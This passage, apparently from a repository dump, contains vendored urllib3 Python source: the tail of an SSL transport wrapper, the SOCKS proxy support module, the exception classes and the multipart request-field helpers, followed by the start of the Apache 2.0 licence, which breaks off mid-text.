| if buffering == 0: 134 | if not binary: 135 | raise ValueError("unbuffered streams must be binary") 136 | return raw 137 | if reading and writing: 138 | buffer = io.BufferedRWPair(raw, raw, buffering) 139 | elif reading: 140 | buffer = io.BufferedReader(raw, buffering) 141 | else: 142 | assert writing 143 | buffer = io.BufferedWriter(raw, buffering) 144 | if binary: 145 | return buffer 146 | text = io.TextIOWrapper(buffer, encoding, errors, newline) 147 | text.mode = mode 148 | return text 149 | 150 | def unwrap(self): 151 | self._ssl_io_loop(self.sslobj.unwrap) 152 | 153 | def close(self): 154 | self.socket.close() 155 | 156 | def getpeercert(self, binary_form=False): 157 | return self.sslobj.getpeercert(binary_form) 158 | 159 | def version(self): 160 | return self.sslobj.version() 161 | 162 | def cipher(self): 163 | return self.sslobj.cipher() 164 | 165 | def selected_alpn_protocol(self): 166 | return self.sslobj.selected_alpn_protocol() 167 | 168 | def selected_npn_protocol(self): 169 | return self.sslobj.selected_npn_protocol() 170 | 171 | def shared_ciphers(self): 172 | return self.sslobj.shared_ciphers() 173 | 174 | def compression(self): 175 | return self.sslobj.compression() 176 | 177 | def settimeout(self, value): 178 | self.socket.settimeout(value) 179 | 180 | def gettimeout(self): 181 | return self.socket.gettimeout() 182 | 183 | def _decref_socketios(self): 184 | self.socket._decref_socketios() 185 | 186 | def _wrap_ssl_read(self, len, buffer=None): 187 | try: 188 | return self._ssl_io_loop(self.sslobj.read, len, buffer) 189 | except ssl.SSLError as e: 190 | if e.errno == ssl.SSL_ERROR_EOF and self.suppress_ragged_eofs: 191 | return 0 # eof, return 0. 192 | else: 193 | raise 194 | 195 | def _ssl_io_loop(self, func, *args): 196 | """Performs an I/O loop between incoming/outgoing and the socket.""" 197 | should_loop = True 198 | ret = None 199 | 200 | while should_loop: 201 | errno = None 202 | try: 203 | ret = func(*args) 204 | except ssl.SSLError as e: 205 | if e.errno not in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): 206 | # WANT_READ, and WANT_WRITE are expected, others are not. 207 | raise e 208 | errno = e.errno 209 | 210 | buf = self.outgoing.read() 211 | self.socket.sendall(buf) 212 | 213 | if errno is None: 214 | should_loop = False 215 | elif errno == ssl.SSL_ERROR_WANT_READ: 216 | buf = self.socket.recv(SSL_BLOCKSIZE) 217 | if buf: 218 | self.incoming.write(buf) 219 | else: 220 | self.incoming.write_eof() 221 | return ret 222 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/socks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | This module contains provisional support for SOCKS proxies from within 4 | urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and 5 | SOCKS5. To enable its functionality, either install PySocks or install this 6 | module with the ``socks`` extra. 7 | 8 | The SOCKS implementation supports the full range of urllib3 features. It also 9 | supports the following SOCKS features: 10 | 11 | - SOCKS4A (``proxy_url='socks4a://...``) 12 | - SOCKS4 (``proxy_url='socks4://...``) 13 | - SOCKS5 with remote DNS (``proxy_url='socks5h://...``) 14 | - SOCKS5 with local DNS (``proxy_url='socks5://...``) 15 | - Usernames and passwords for the SOCKS proxy 16 | 17 | .. note:: 18 | It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in 19 | your ``proxy_url`` to ensure that DNS resolution is done from the remote 20 | server instead of client-side when connecting to a domain name. 21 | 22 | SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5 23 | supports IPv4, IPv6, and domain names. 24 | 25 | When connecting to a SOCKS4 proxy the ``username`` portion of the ``proxy_url`` 26 | will be sent as the ``userid`` section of the SOCKS request: 27 | 28 | .. code-block:: python 29 | 30 | proxy_url="socks4a://@proxy-host" 31 | 32 | When connecting to a SOCKS5 proxy the ``username`` and ``password`` portion 33 | of the ``proxy_url`` will be sent as the username/password to authenticate 34 | with the proxy: 35 | 36 | .. code-block:: python 37 | 38 | proxy_url="socks5h://:@proxy-host" 39 | 40 | """ 41 | from __future__ import absolute_import 42 | 43 | try: 44 | import socks 45 | except ImportError: 46 | import warnings 47 | 48 | from ..exceptions import DependencyWarning 49 | 50 | warnings.warn( 51 | ( 52 | "SOCKS support in urllib3 requires the installation of optional " 53 | "dependencies: specifically, PySocks. For more information, see " 54 | "https://urllib3.readthedocs.io/en/1.26.x/contrib.html#socks-proxies" 55 | ), 56 | DependencyWarning, 57 | ) 58 | raise 59 | 60 | from socket import error as SocketError 61 | from socket import timeout as SocketTimeout 62 | 63 | from ..connection import HTTPConnection, HTTPSConnection 64 | from ..connectionpool import HTTPConnectionPool, HTTPSConnectionPool 65 | from ..exceptions import ConnectTimeoutError, NewConnectionError 66 | from ..poolmanager import PoolManager 67 | from ..util.url import parse_url 68 | 69 | try: 70 | import ssl 71 | except ImportError: 72 | ssl = None 73 | 74 | 75 | class SOCKSConnection(HTTPConnection): 76 | """ 77 | A plain-text HTTP connection that connects via a SOCKS proxy. 78 | """ 79 | 80 | def __init__(self, *args, **kwargs): 81 | self._socks_options = kwargs.pop("_socks_options") 82 | super(SOCKSConnection, self).__init__(*args, **kwargs) 83 | 84 | def _new_conn(self): 85 | """ 86 | Establish a new connection via the SOCKS proxy. 87 | """ 88 | extra_kw = {} 89 | if self.source_address: 90 | extra_kw["source_address"] = self.source_address 91 | 92 | if self.socket_options: 93 | extra_kw["socket_options"] = self.socket_options 94 | 95 | try: 96 | conn = socks.create_connection( 97 | (self.host, self.port), 98 | proxy_type=self._socks_options["socks_version"], 99 | proxy_addr=self._socks_options["proxy_host"], 100 | proxy_port=self._socks_options["proxy_port"], 101 | proxy_username=self._socks_options["username"], 102 | proxy_password=self._socks_options["password"], 103 | proxy_rdns=self._socks_options["rdns"], 104 | timeout=self.timeout, 105 | **extra_kw 106 | ) 107 | 108 | except SocketTimeout: 109 | raise ConnectTimeoutError( 110 | self, 111 | "Connection to %s timed out. (connect timeout=%s)" 112 | % (self.host, self.timeout), 113 | ) 114 | 115 | except socks.ProxyError as e: 116 | # This is fragile as hell, but it seems to be the only way to raise 117 | # useful errors here. 118 | if e.socket_err: 119 | error = e.socket_err 120 | if isinstance(error, SocketTimeout): 121 | raise ConnectTimeoutError( 122 | self, 123 | "Connection to %s timed out. (connect timeout=%s)" 124 | % (self.host, self.timeout), 125 | ) 126 | else: 127 | raise NewConnectionError( 128 | self, "Failed to establish a new connection: %s" % error 129 | ) 130 | else: 131 | raise NewConnectionError( 132 | self, "Failed to establish a new connection: %s" % e 133 | ) 134 | 135 | except SocketError as e: # Defensive: PySocks should catch all these. 136 | raise NewConnectionError( 137 | self, "Failed to establish a new connection: %s" % e 138 | ) 139 | 140 | return conn 141 | 142 | 143 | # We don't need to duplicate the Verified/Unverified distinction from 144 | # urllib3/connection.py here because the HTTPSConnection will already have been 145 | # correctly set to either the Verified or Unverified form by that module. This 146 | # means the SOCKSHTTPSConnection will automatically be the correct type. 147 | class SOCKSHTTPSConnection(SOCKSConnection, HTTPSConnection): 148 | pass 149 | 150 | 151 | class SOCKSHTTPConnectionPool(HTTPConnectionPool): 152 | ConnectionCls = SOCKSConnection 153 | 154 | 155 | class SOCKSHTTPSConnectionPool(HTTPSConnectionPool): 156 | ConnectionCls = SOCKSHTTPSConnection 157 | 158 | 159 | class SOCKSProxyManager(PoolManager): 160 | """ 161 | A version of the urllib3 ProxyManager that routes connections via the 162 | defined SOCKS proxy. 163 | """ 164 | 165 | pool_classes_by_scheme = { 166 | "http": SOCKSHTTPConnectionPool, 167 | "https": SOCKSHTTPSConnectionPool, 168 | } 169 | 170 | def __init__( 171 | self, 172 | proxy_url, 173 | username=None, 174 | password=None, 175 | num_pools=10, 176 | headers=None, 177 | **connection_pool_kw 178 | ): 179 | parsed = parse_url(proxy_url) 180 | 181 | if username is None and password is None and parsed.auth is not None: 182 | split = parsed.auth.split(":") 183 | if len(split) == 2: 184 | username, password = split 185 | if parsed.scheme == "socks5": 186 | socks_version = socks.PROXY_TYPE_SOCKS5 187 | rdns = False 188 | elif parsed.scheme == "socks5h": 189 | socks_version = socks.PROXY_TYPE_SOCKS5 190 | rdns = True 191 | elif parsed.scheme == "socks4": 192 | socks_version = socks.PROXY_TYPE_SOCKS4 193 | rdns = False 194 | elif parsed.scheme == "socks4a": 195 | socks_version = socks.PROXY_TYPE_SOCKS4 196 | rdns = True 197 | else: 198 | raise ValueError("Unable to determine SOCKS version from %s" % proxy_url) 199 | 200 | self.proxy_url = proxy_url 201 | 202 | socks_options = { 203 | "socks_version": socks_version, 204 | "proxy_host": parsed.host, 205 | "proxy_port": parsed.port, 206 | "username": username, 207 | "password": password, 208 | "rdns": rdns, 209 | } 210 | connection_pool_kw["_socks_options"] = socks_options 211 | 212 | super(SOCKSProxyManager, self).__init__( 213 | num_pools, headers, **connection_pool_kw 214 | ) 215 | 216 | self.pool_classes_by_scheme = SOCKSProxyManager.pool_classes_by_scheme 217 | -------------------------------------------------------------------------------- /modules/urllib3/exceptions.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from .packages.six.moves.http_client import IncompleteRead as httplib_IncompleteRead 4 | 5 | # Base Exceptions 6 | 7 | 8 | class HTTPError(Exception): 9 | """Base exception used by this module.""" 10 | 11 | pass 12 | 13 | 14 | class HTTPWarning(Warning): 15 | """Base warning used by this module.""" 16 | 17 | pass 18 | 19 | 20 | class PoolError(HTTPError): 21 | """Base exception for errors caused within a pool.""" 22 | 23 | def __init__(self, pool, message): 24 | self.pool = pool 25 | HTTPError.__init__(self, "%s: %s" % (pool, message)) 26 | 27 | def __reduce__(self): 28 | # For pickling purposes. 29 | return self.__class__, (None, None) 30 | 31 | 32 | class RequestError(PoolError): 33 | """Base exception for PoolErrors that have associated URLs.""" 34 | 35 | def __init__(self, pool, url, message): 36 | self.url = url 37 | PoolError.__init__(self, pool, message) 38 | 39 | def __reduce__(self): 40 | # For pickling purposes. 41 | return self.__class__, (None, self.url, None) 42 | 43 | 44 | class SSLError(HTTPError): 45 | """Raised when SSL certificate fails in an HTTPS connection.""" 46 | 47 | pass 48 | 49 | 50 | class ProxyError(HTTPError): 51 | """Raised when the connection to a proxy fails.""" 52 | 53 | def __init__(self, message, error, *args): 54 | super(ProxyError, self).__init__(message, error, *args) 55 | self.original_error = error 56 | 57 | 58 | class DecodeError(HTTPError): 59 | """Raised when automatic decoding based on Content-Type fails.""" 60 | 61 | pass 62 | 63 | 64 | class ProtocolError(HTTPError): 65 | """Raised when something unexpected happens mid-request/response.""" 66 | 67 | pass 68 | 69 | 70 | #: Renamed to ProtocolError but aliased for backwards compatibility. 71 | ConnectionError = ProtocolError 72 | 73 | 74 | # Leaf Exceptions 75 | 76 | 77 | class MaxRetryError(RequestError): 78 | """Raised when the maximum number of retries is exceeded. 79 | 80 | :param pool: The connection pool 81 | :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool` 82 | :param string url: The requested Url 83 | :param exceptions.Exception reason: The underlying error 84 | 85 | """ 86 | 87 | def __init__(self, pool, url, reason=None): 88 | self.reason = reason 89 | 90 | message = "Max retries exceeded with url: %s (Caused by %r)" % (url, reason) 91 | 92 | RequestError.__init__(self, pool, url, message) 93 | 94 | 95 | class HostChangedError(RequestError): 96 | """Raised when an existing pool gets a request for a foreign host.""" 97 | 98 | def __init__(self, pool, url, retries=3): 99 | message = "Tried to open a foreign host with url: %s" % url 100 | RequestError.__init__(self, pool, url, message) 101 | self.retries = retries 102 | 103 | 104 | class TimeoutStateError(HTTPError): 105 | """Raised when passing an invalid state to a timeout""" 106 | 107 | pass 108 | 109 | 110 | class TimeoutError(HTTPError): 111 | """Raised when a socket timeout error occurs. 112 | 113 | Catching this error will catch both :exc:`ReadTimeoutErrors 114 | ` and :exc:`ConnectTimeoutErrors `. 115 | """ 116 | 117 | pass 118 | 119 | 120 | class ReadTimeoutError(TimeoutError, RequestError): 121 | """Raised when a socket timeout occurs while receiving data from a server""" 122 | 123 | pass 124 | 125 | 126 | # This timeout error does not have a URL attached and needs to inherit from the 127 | # base HTTPError 128 | class ConnectTimeoutError(TimeoutError): 129 | """Raised when a socket timeout occurs while connecting to a server""" 130 | 131 | pass 132 | 133 | 134 | class NewConnectionError(ConnectTimeoutError, PoolError): 135 | """Raised when we fail to establish a new connection. Usually ECONNREFUSED.""" 136 | 137 | pass 138 | 139 | 140 | class EmptyPoolError(PoolError): 141 | """Raised when a pool runs out of connections and no more are allowed.""" 142 | 143 | pass 144 | 145 | 146 | class ClosedPoolError(PoolError): 147 | """Raised when a request enters a pool after the pool has been closed.""" 148 | 149 | pass 150 | 151 | 152 | class LocationValueError(ValueError, HTTPError): 153 | """Raised when there is something wrong with a given URL input.""" 154 | 155 | pass 156 | 157 | 158 | class LocationParseError(LocationValueError): 159 | """Raised when get_host or similar fails to parse the URL input.""" 160 | 161 | def __init__(self, location): 162 | message = "Failed to parse: %s" % location 163 | HTTPError.__init__(self, message) 164 | 165 | self.location = location 166 | 167 | 168 | class URLSchemeUnknown(LocationValueError): 169 | """Raised when a URL input has an unsupported scheme.""" 170 | 171 | def __init__(self, scheme): 172 | message = "Not supported URL scheme %s" % scheme 173 | super(URLSchemeUnknown, self).__init__(message) 174 | 175 | self.scheme = scheme 176 | 177 | 178 | class ResponseError(HTTPError): 179 | """Used as a container for an error reason supplied in a MaxRetryError.""" 180 | 181 | GENERIC_ERROR = "too many error responses" 182 | SPECIFIC_ERROR = "too many {status_code} error responses" 183 | 184 | 185 | class SecurityWarning(HTTPWarning): 186 | """Warned when performing security reducing actions""" 187 | 188 | pass 189 | 190 | 191 | class SubjectAltNameWarning(SecurityWarning): 192 | """Warned when connecting to a host with a certificate missing a SAN.""" 193 | 194 | pass 195 | 196 | 197 | class InsecureRequestWarning(SecurityWarning): 198 | """Warned when making an unverified HTTPS request.""" 199 | 200 | pass 201 | 202 | 203 | class SystemTimeWarning(SecurityWarning): 204 | """Warned when system time is suspected to be wrong""" 205 | 206 | pass 207 | 208 | 209 | class InsecurePlatformWarning(SecurityWarning): 210 | """Warned when certain TLS/SSL configuration is not available on a platform.""" 211 | 212 | pass 213 | 214 | 215 | class SNIMissingWarning(HTTPWarning): 216 | """Warned when making a HTTPS request without SNI available.""" 217 | 218 | pass 219 | 220 | 221 | class DependencyWarning(HTTPWarning): 222 | """ 223 | Warned when an attempt is made to import a module with missing optional 224 | dependencies. 225 | """ 226 | 227 | pass 228 | 229 | 230 | class ResponseNotChunked(ProtocolError, ValueError): 231 | """Response needs to be chunked in order to read it as chunks.""" 232 | 233 | pass 234 | 235 | 236 | class BodyNotHttplibCompatible(HTTPError): 237 | """ 238 | Body should be :class:`http.client.HTTPResponse` like 239 | (have an fp attribute which returns raw chunks) for read_chunked(). 240 | """ 241 | 242 | pass 243 | 244 | 245 | class IncompleteRead(HTTPError, httplib_IncompleteRead): 246 | """ 247 | Response length doesn't match expected Content-Length 248 | 249 | Subclass of :class:`http.client.IncompleteRead` to allow int value 250 | for ``partial`` to avoid creating large objects on streamed reads. 251 | """ 252 | 253 | def __init__(self, partial, expected): 254 | super(IncompleteRead, self).__init__(partial, expected) 255 | 256 | def __repr__(self): 257 | return "IncompleteRead(%i bytes read, %i more expected)" % ( 258 | self.partial, 259 | self.expected, 260 | ) 261 | 262 | 263 | class InvalidChunkLength(HTTPError, httplib_IncompleteRead): 264 | """Invalid chunk length in a chunked response.""" 265 | 266 | def __init__(self, response, length): 267 | super(InvalidChunkLength, self).__init__( 268 | response.tell(), response.length_remaining 269 | ) 270 | self.response = response 271 | self.length = length 272 | 273 | def __repr__(self): 274 | return "InvalidChunkLength(got length %r, %i bytes read)" % ( 275 | self.length, 276 | self.partial, 277 | ) 278 | 279 | 280 | class InvalidHeader(HTTPError): 281 | """The header provided was somehow invalid.""" 282 | 283 | pass 284 | 285 | 286 | class ProxySchemeUnknown(AssertionError, URLSchemeUnknown): 287 | """ProxyManager does not support the supplied scheme""" 288 | 289 | # TODO(t-8ch): Stop inheriting from AssertionError in v2.0. 290 | 291 | def __init__(self, scheme): 292 | # 'localhost' is here because our URL parser parses 293 | # localhost:8080 -> scheme=localhost, remove if we fix this. 294 | if scheme == "localhost": 295 | scheme = None 296 | if scheme is None: 297 | message = "Proxy URL had no scheme, should start with http:// or https://" 298 | else: 299 | message = ( 300 | "Proxy URL had unsupported scheme %s, should use http:// or https://" 301 | % scheme 302 | ) 303 | super(ProxySchemeUnknown, self).__init__(message) 304 | 305 | 306 | class ProxySchemeUnsupported(ValueError): 307 | """Fetching HTTPS resources through HTTPS proxies is unsupported""" 308 | 309 | pass 310 | 311 | 312 | class HeaderParsingError(HTTPError): 313 | """Raised by assert_header_parsing, but we convert it to a log.warning statement.""" 314 | 315 | def __init__(self, defects, unparsed_data): 316 | message = "%s, unparsed data: %r" % (defects or "Unknown", unparsed_data) 317 | super(HeaderParsingError, self).__init__(message) 318 | 319 | 320 | class UnrewindableBodyError(HTTPError): 321 | """urllib3 encountered an error when trying to rewind a body""" 322 | 323 | pass 324 | -------------------------------------------------------------------------------- /modules/urllib3/fields.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import email.utils 4 | import mimetypes 5 | import re 6 | 7 | from .packages import six 8 | 9 | 10 | def guess_content_type(filename, default="application/octet-stream"): 11 | """ 12 | Guess the "Content-Type" of a file. 13 | 14 | :param filename: 15 | The filename to guess the "Content-Type" of using :mod:`mimetypes`. 16 | :param default: 17 | If no "Content-Type" can be guessed, default to `default`. 18 | """ 19 | if filename: 20 | return mimetypes.guess_type(filename)[0] or default 21 | return default 22 | 23 | 24 | def format_header_param_rfc2231(name, value): 25 | """ 26 | Helper function to format and quote a single header parameter using the 27 | strategy defined in RFC 2231. 28 | 29 | Particularly useful for header parameters which might contain 30 | non-ASCII values, like file names. This follows 31 | `RFC 2388 Section 4.4 `_. 32 | 33 | :param name: 34 | The name of the parameter, a string expected to be ASCII only. 35 | :param value: 36 | The value of the parameter, provided as ``bytes`` or `str``. 37 | :ret: 38 | An RFC-2231-formatted unicode string. 39 | """ 40 | if isinstance(value, six.binary_type): 41 | value = value.decode("utf-8") 42 | 43 | if not any(ch in value for ch in '"\\\r\n'): 44 | result = u'%s="%s"' % (name, value) 45 | try: 46 | result.encode("ascii") 47 | except (UnicodeEncodeError, UnicodeDecodeError): 48 | pass 49 | else: 50 | return result 51 | 52 | if six.PY2: # Python 2: 53 | value = value.encode("utf-8") 54 | 55 | # encode_rfc2231 accepts an encoded string and returns an ascii-encoded 56 | # string in Python 2 but accepts and returns unicode strings in Python 3 57 | value = email.utils.encode_rfc2231(value, "utf-8") 58 | value = "%s*=%s" % (name, value) 59 | 60 | if six.PY2: # Python 2: 61 | value = value.decode("utf-8") 62 | 63 | return value 64 | 65 | 66 | _HTML5_REPLACEMENTS = { 67 | u"\u0022": u"%22", 68 | # Replace "\" with "\\". 69 | u"\u005C": u"\u005C\u005C", 70 | } 71 | 72 | # All control characters from 0x00 to 0x1F *except* 0x1B. 73 | _HTML5_REPLACEMENTS.update( 74 | { 75 | six.unichr(cc): u"%{:02X}".format(cc) 76 | for cc in range(0x00, 0x1F + 1) 77 | if cc not in (0x1B,) 78 | } 79 | ) 80 | 81 | 82 | def _replace_multiple(value, needles_and_replacements): 83 | def replacer(match): 84 | return needles_and_replacements[match.group(0)] 85 | 86 | pattern = re.compile( 87 | r"|".join([re.escape(needle) for needle in needles_and_replacements.keys()]) 88 | ) 89 | 90 | result = pattern.sub(replacer, value) 91 | 92 | return result 93 | 94 | 95 | def format_header_param_html5(name, value): 96 | """ 97 | Helper function to format and quote a single header parameter using the 98 | HTML5 strategy. 99 | 100 | Particularly useful for header parameters which might contain 101 | non-ASCII values, like file names. This follows the `HTML5 Working Draft 102 | Section 4.10.22.7`_ and matches the behavior of curl and modern browsers. 103 | 104 | .. _HTML5 Working Draft Section 4.10.22.7: 105 | https://w3c.github.io/html/sec-forms.html#multipart-form-data 106 | 107 | :param name: 108 | The name of the parameter, a string expected to be ASCII only. 109 | :param value: 110 | The value of the parameter, provided as ``bytes`` or `str``. 111 | :ret: 112 | A unicode string, stripped of troublesome characters. 113 | """ 114 | if isinstance(value, six.binary_type): 115 | value = value.decode("utf-8") 116 | 117 | value = _replace_multiple(value, _HTML5_REPLACEMENTS) 118 | 119 | return u'%s="%s"' % (name, value) 120 | 121 | 122 | # For backwards-compatibility. 123 | format_header_param = format_header_param_html5 124 | 125 | 126 | class RequestField(object): 127 | """ 128 | A data container for request body parameters. 129 | 130 | :param name: 131 | The name of this request field. Must be unicode. 132 | :param data: 133 | The data/value body. 134 | :param filename: 135 | An optional filename of the request field. Must be unicode. 136 | :param headers: 137 | An optional dict-like object of headers to initially use for the field. 138 | :param header_formatter: 139 | An optional callable that is used to encode and format the headers. By 140 | default, this is :func:`format_header_param_html5`. 141 | """ 142 | 143 | def __init__( 144 | self, 145 | name, 146 | data, 147 | filename=None, 148 | headers=None, 149 | header_formatter=format_header_param_html5, 150 | ): 151 | self._name = name 152 | self._filename = filename 153 | self.data = data 154 | self.headers = {} 155 | if headers: 156 | self.headers = dict(headers) 157 | self.header_formatter = header_formatter 158 | 159 | @classmethod 160 | def from_tuples(cls, fieldname, value, header_formatter=format_header_param_html5): 161 | """ 162 | A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters. 163 | 164 | Supports constructing :class:`~urllib3.fields.RequestField` from 165 | parameter of key/value strings AND key/filetuple. A filetuple is a 166 | (filename, data, MIME type) tuple where the MIME type is optional. 167 | For example:: 168 | 169 | 'foo': 'bar', 170 | 'fakefile': ('foofile.txt', 'contents of foofile'), 171 | 'realfile': ('barfile.txt', open('realfile').read()), 172 | 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'), 173 | 'nonamefile': 'contents of nonamefile field', 174 | 175 | Field names and filenames must be unicode. 176 | """ 177 | if isinstance(value, tuple): 178 | if len(value) == 3: 179 | filename, data, content_type = value 180 | else: 181 | filename, data = value 182 | content_type = guess_content_type(filename) 183 | else: 184 | filename = None 185 | content_type = None 186 | data = value 187 | 188 | request_param = cls( 189 | fieldname, data, filename=filename, header_formatter=header_formatter 190 | ) 191 | request_param.make_multipart(content_type=content_type) 192 | 193 | return request_param 194 | 195 | def _render_part(self, name, value): 196 | """ 197 | Overridable helper function to format a single header parameter. By 198 | default, this calls ``self.header_formatter``. 199 | 200 | :param name: 201 | The name of the parameter, a string expected to be ASCII only. 202 | :param value: 203 | The value of the parameter, provided as a unicode string. 204 | """ 205 | 206 | return self.header_formatter(name, value) 207 | 208 | def _render_parts(self, header_parts): 209 | """ 210 | Helper function to format and quote a single header. 211 | 212 | Useful for single headers that are composed of multiple items. E.g., 213 | 'Content-Disposition' fields. 214 | 215 | :param header_parts: 216 | A sequence of (k, v) tuples or a :class:`dict` of (k, v) to format 217 | as `k1="v1"; k2="v2"; ...`. 218 | """ 219 | parts = [] 220 | iterable = header_parts 221 | if isinstance(header_parts, dict): 222 | iterable = header_parts.items() 223 | 224 | for name, value in iterable: 225 | if value is not None: 226 | parts.append(self._render_part(name, value)) 227 | 228 | return u"; ".join(parts) 229 | 230 | def render_headers(self): 231 | """ 232 | Renders the headers for this request field. 233 | """ 234 | lines = [] 235 | 236 | sort_keys = ["Content-Disposition", "Content-Type", "Content-Location"] 237 | for sort_key in sort_keys: 238 | if self.headers.get(sort_key, False): 239 | lines.append(u"%s: %s" % (sort_key, self.headers[sort_key])) 240 | 241 | for header_name, header_value in self.headers.items(): 242 | if header_name not in sort_keys: 243 | if header_value: 244 | lines.append(u"%s: %s" % (header_name, header_value)) 245 | 246 | lines.append(u"\r\n") 247 | return u"\r\n".join(lines) 248 | 249 | def make_multipart( 250 | self, content_disposition=None, content_type=None, content_location=None 251 | ): 252 | """ 253 | Makes this request field into a multipart request field. 254 | 255 | This method overrides "Content-Disposition", "Content-Type" and 256 | "Content-Location" headers to the request parameter. 257 | 258 | :param content_type: 259 | The 'Content-Type' of the request body. 260 | :param content_location: 261 | The 'Content-Location' of the request body. 262 | 263 | """ 264 | self.headers["Content-Disposition"] = content_disposition or u"form-data" 265 | self.headers["Content-Disposition"] += u"; ".join( 266 | [ 267 | u"", 268 | self._render_parts( 269 | ((u"name", self._name), (u"filename", self._filename)) 270 | ), 271 | ] 272 | ) 273 | self.headers["Content-Type"] = content_type 274 | self.headers["Content-Location"] = content_location 275 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | # License 2 | 3 | ```text 4 | Apache License 5 | Version 2.0, January 2004 6 | http://www.apache.org/licenses/ 7 | ``` 8 | 9 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 10 | 11 | 1. Definitions. 12 | 13 | "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. 14 | 15 | "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. 16 | 17 | "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means \(i\) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or \(ii\) ownership of fifty percent \(50%\) or more of the outstanding shares, or \(iii\) beneficial ownership of such entity. 18 | 19 | "You" \(or "Your"\) shall mean an individual or Legal Entity exercising permissions granted by this License. 20 | 21 | "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. 22 | 23 | "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. 24 | 25 | "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work \(an example is provided in the Appendix below\). 26 | 27 | "Derivative Works" shall mean any work, whether in Source or Object form, that is based on \(or derived from\) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link \(or bind by name\) to the interfaces of, the Work and Derivative Works thereof. 28 | 29 | "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." 30 | 31 | "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 32 | 33 | 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 34 | 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable \(except as stated in this section\) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution\(s\) alone or by combination of their Contribution\(s\) with the Work to which such Contribution\(s\) was submitted. If You institute patent litigation against any entity \(including a cross-claim or counterclaim in a lawsuit\) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 35 | 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: 36 | 37 | \(a\) You must give any other recipients of the Work or Derivative Works a copy of this License; and 38 | 39 | \(b\) You must cause any modified files to carry prominent notices stating that You changed the files; and 40 | 41 | \(c\) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and 42 | 43 | \(d\) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. 44 | 45 | You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 46 | 47 | 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 48 | 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 49 | 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work \(and each Contributor provides its Contributions\) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 50 | 8. Limitation of Liability. In no event and under no legal theory, whether in tort \(including negligence\), contract, or otherwise, unless required by applicable law 